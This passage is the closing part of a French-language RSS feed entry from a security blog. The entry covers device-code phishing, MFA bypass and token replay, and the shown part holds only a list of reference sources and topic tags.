l'automatisation backend Railway.com</td></tr></tbody></table>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="références">Références<a href="https://inferencedefense.com/fr/blog/fr-contournement-mfa-hameconnage-code-appareil-rejeu-jetons-acces-conditionnel#r%C3%A9f%C3%A9rences" class="hash-link" aria-label="Direct link to Références" title="Direct link to Références" translate="no">​</a></h2>
<ul>
<li class="">Microsoft Security Blog : "Inside an AI-enabled device code phishing campaign" (Avril 2026)</li>
<li class="">Proofpoint : "Access granted: phishing with device code authorization for account takeover" (Décembre 2025)</li>
<li class="">Dirk-jan Mollema : "Introducing ROADtools" et recherches sur le PRT (roadlib.readthedocs.io)</li>
<li class="">Ontinue : Rapport de renseignement sur les menaces "Tycoon 2FA Phishing Kit" (2025)</li>
<li class="">CISA Alert AA25-039A : OAuth 2.0 Device Authorization Abuse</li>
<li class="">Documentation Microsoft : Politique de flux d'authentification de l'Accès Conditionnel</li>
</ul>]]></content:encoded>
            <category>sécurité-identité</category>
            <category>renseignement-menaces</category>
            <category>sécurité-cloud</category>
            <category>contournement-mfa</category>
            <category>hameconnage-code-appareil</category>
            <category>rejeu-jetons</category>
            <category>accès-conditionnel</category>
            <category>entra-id</category>
            <category>microsoft-365</category>
            <category>ingénierie-détection</category>
        </item>
    </channel>
</rss>